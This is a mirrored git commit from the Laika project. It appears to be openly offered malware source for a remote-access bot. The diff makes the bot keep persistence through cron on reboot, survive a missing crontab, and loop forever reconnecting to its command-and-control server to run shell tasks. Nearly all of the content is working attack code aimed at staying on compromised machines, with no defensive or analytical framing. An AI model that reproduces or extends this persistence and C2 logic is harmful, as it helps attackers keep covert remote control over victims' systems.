mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-22 13:00:05 +00:00
More resilient persistence
- bot will keep trying to connect if it failed to connect to the CNC or if the bot was killed - if crontab isn't installed the bot will still run
This commit is contained in:
parent
bb6e489945
commit
59c01d422b
@ -9,12 +9,6 @@
|
|||||||
|
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
|
|
||||||
/* check if laika is already running */
|
|
||||||
bool laikaB_checkRunning(void);
|
|
||||||
|
|
||||||
/* check if laika is already installed on current machine */
|
|
||||||
bool laikaB_checkPersist(void);
|
|
||||||
|
|
||||||
/* check if laika is running as super-user */
|
/* check if laika is running as super-user */
|
||||||
bool laikaB_checkRoot(void);
|
bool laikaB_checkRoot(void);
|
||||||
|
|
||||||
|
@ -20,16 +20,6 @@
|
|||||||
|
|
||||||
static struct sLaika_socket laikaB_markerPort;
|
static struct sLaika_socket laikaB_markerPort;
|
||||||
|
|
||||||
/* check if laika is already running */
|
|
||||||
bool laikaB_checkRunning() {
|
|
||||||
return true; /* stubbed for now */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* check if laika is already installed on current machine */
|
|
||||||
bool laikaB_checkPersist() {
|
|
||||||
return true; /* stubbed for now */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* check if laika is running as super-user */
|
/* check if laika is running as super-user */
|
||||||
bool laikaB_checkRoot() {
|
bool laikaB_checkRoot() {
|
||||||
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
|
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
|
||||||
@ -133,9 +123,13 @@ void laikaB_tryPersist() {
|
|||||||
|
|
||||||
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
|
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
|
||||||
|
|
||||||
|
LAIKA_TRY
|
||||||
/* enable persistence on reboot via cron */
|
/* enable persistence on reboot via cron */
|
||||||
if (!checkPersistCron(installPath))
|
if (!checkPersistCron(installPath))
|
||||||
tryPersistCron(installPath);
|
tryPersistCron(installPath);
|
||||||
|
LAIKA_CATCH
|
||||||
|
LAIKA_DEBUG("crontab not installed or not accessible!")
|
||||||
|
LAIKA_TRYEND
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -17,15 +17,21 @@ void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clo
|
|||||||
}
|
}
|
||||||
|
|
||||||
int main(int argv, char *argc[]) {
|
int main(int argv, char *argc[]) {
|
||||||
struct sLaika_bot *bot = laikaB_newBot();
|
struct sLaika_bot *bot;
|
||||||
|
|
||||||
/* install persistence */
|
/* install persistence */
|
||||||
laikaB_tryPersist();
|
laikaB_tryPersist();
|
||||||
|
|
||||||
|
#ifdef LAIKA_PERSISTENCE
|
||||||
|
do {
|
||||||
|
#endif
|
||||||
|
bot = laikaB_newBot();
|
||||||
|
|
||||||
/* init task service */
|
/* init task service */
|
||||||
laikaT_initTaskService(&tService);
|
laikaT_initTaskService(&tService);
|
||||||
laikaT_newTask(&tService, 100, shellTask, (void*)bot);
|
laikaT_newTask(&tService, 100, shellTask, (void*)bot);
|
||||||
|
|
||||||
|
LAIKA_TRY
|
||||||
/* connect to test CNC */
|
/* connect to test CNC */
|
||||||
laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
|
laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
|
||||||
|
|
||||||
@ -35,8 +41,15 @@ int main(int argv, char *argc[]) {
|
|||||||
laikaT_pollTasks(&tService);
|
laikaT_pollTasks(&tService);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
LAIKA_TRYEND
|
||||||
|
|
||||||
|
/* bot was killed or it threw an error */
|
||||||
|
laikaT_cleanTaskService(&tService);
|
||||||
laikaB_freeBot(bot);
|
laikaB_freeBot(bot);
|
||||||
LAIKA_DEBUG("bot killed\n");
|
#ifdef LAIKA_PERSISTENCE
|
||||||
|
sleep(5);
|
||||||
|
} while (1);
|
||||||
|
#endif
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
@ -2,16 +2,6 @@
|
|||||||
|
|
||||||
#include "persist.h"
|
#include "persist.h"
|
||||||
|
|
||||||
/* check if laika is already running */
|
|
||||||
bool laikaB_checkRunning() {
|
|
||||||
return true; /* stubbed for now */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* check if laika is already installed on current machine */
|
|
||||||
bool laikaB_checkPersist() {
|
|
||||||
return true; /* stubbed for now */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* check if laika is running as super-user */
|
/* check if laika is running as super-user */
|
||||||
bool laikaB_checkRoot() {
|
bool laikaB_checkRoot() {
|
||||||
return true; /* stubbed for now */
|
return true; /* stubbed for now */
|
||||||
|
Loading…
Reference in New Issue
Block a user